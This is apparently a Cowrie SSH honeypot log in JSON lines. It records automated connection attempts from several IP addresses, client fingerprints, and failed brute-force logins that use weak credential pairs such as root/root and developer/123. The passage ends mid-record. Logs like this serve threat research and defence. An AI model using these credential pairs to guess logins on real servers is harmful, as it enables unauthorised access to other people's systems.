{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33480,"dst_ip":"159.203.135.109","dst_port":22,"session":"bab7df8d0009","protocol":"ssh","message":"New connection: 91.92.42.133:33480 (159.203.135.109:22) [session: bab7df8d0009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:50.342766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:50.671513Z","src_ip":"91.92.42.133","session":"bab7df8d0009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:50.674146Z","src_ip":"91.92.42.133","session":"bab7df8d0009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:52.974272Z","src_ip":"91.92.42.133","session":"bab7df8d0009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:54.472512Z","src_ip":"91.92.42.133","session":"bab7df8d0009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36898,"dst_ip":"159.203.135.109","dst_port":22,"session":"641f5fe778fc","protocol":"ssh","message":"New connection: 91.92.42.133:36898 (159.203.135.109:22) [session: 641f5fe778fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:58.868173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:58.944448Z","src_ip":"91.92.42.133","session":"641f5fe778fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:59.020638Z","src_ip":"91.92.42.133","session":"641f5fe778fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:12:59.404214Z","src_ip":"91.92.42.133","session":"641f5fe778fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:00.631956Z","src_ip":"91.92.42.133","session":"641f5fe778fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56490,"dst_ip":"159.203.135.109","dst_port":22,"session":"45bb5855b413","protocol":"ssh","message":"New connection: 91.92.42.133:56490 (159.203.135.109:22) [session: 45bb5855b413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:06.959504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:07.080283Z","src_ip":"91.92.42.133","session":"45bb5855b413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:07.084971Z","src_ip":"91.92.42.133","session":"45bb5855b413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:08.168565Z","src_ip":"91.92.42.133","session":"45bb5855b413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:09.306173Z","src_ip":"91.92.42.133","session":"45bb5855b413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56512,"dst_ip":"159.203.135.109","dst_port":22,"session":"c71d5f19d4e1","protocol":"ssh","message":"New connection: 91.92.42.133:56512 (159.203.135.109:22) [session: c71d5f19d4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:14.055704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:14.307112Z","src_ip":"91.92.42.133","session":"c71d5f19d4e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:14.310167Z","src_ip":"91.92.42.133","session":"c71d5f19d4e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:16.377430Z","src_ip":"91.92.42.133","session":"c71d5f19d4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:17.806920Z","src_ip":"91.92.42.133","session":"c71d5f19d4e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.125","src_port":26851,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf4646f45b11","protocol":"ssh","message":"New connection: 64.62.197.125:26851 (159.203.135.109:22) [session: cf4646f45b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:18.910464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:18.943801Z","src_ip":"64.62.197.125","session":"cf4646f45b11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:19.036256Z","src_ip":"64.62.197.125","session":"cf4646f45b11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":40620,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f750b3ba3ec","protocol":"ssh","message":"New connection: 194.59.206.2:40620 (10.17.0.5:22) [session: 8f750b3ba3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:19.320469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:19.324078Z","src_ip":"194.59.206.2","session":"8f750b3ba3ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:19.412978Z","src_ip":"194.59.206.2","session":"8f750b3ba3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:19.505602Z","src_ip":"194.59.206.2","session":"8f750b3ba3ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60946,"dst_ip":"159.203.135.109","dst_port":22,"session":"7986f651eb48","protocol":"ssh","message":"New connection: 91.92.42.133:60946 (159.203.135.109:22) [session: 7986f651eb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:21.153163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:21.449395Z","src_ip":"91.92.42.133","session":"7986f651eb48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:21.452525Z","src_ip":"91.92.42.133","session":"7986f651eb48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:22.944377Z","src_ip":"64.62.197.125","session":"cf4646f45b11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:23.388692Z","src_ip":"91.92.42.133","session":"7986f651eb48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":42312,"dst_ip":"159.203.135.109","dst_port":22,"session":"14c22e4773f8","protocol":"ssh","message":"New connection: 103.27.238.116:42312 (159.203.135.109:22) [session: 14c22e4773f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:24.303806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:24.307945Z","src_ip":"103.27.238.116","session":"14c22e4773f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:24.582034Z","src_ip":"103.27.238.116","session":"14c22e4773f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:24.588351Z","src_ip":"91.92.42.133","session":"7986f651eb48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sloboda","message":"login attempt [root/sloboda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:25.412099Z","src_ip":"103.27.238.116","session":"14c22e4773f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:26.688443Z","src_ip":"103.27.238.116","session":"14c22e4773f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33834,"dst_ip":"159.203.135.109","dst_port":22,"session":"51a104e48bfa","protocol":"ssh","message":"New connection: 91.92.42.133:33834 (159.203.135.109:22) [session: 51a104e48bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:29.251049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:13:29.312530Z","src_ip":"91.92.42.133","session":"51a104e48bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rs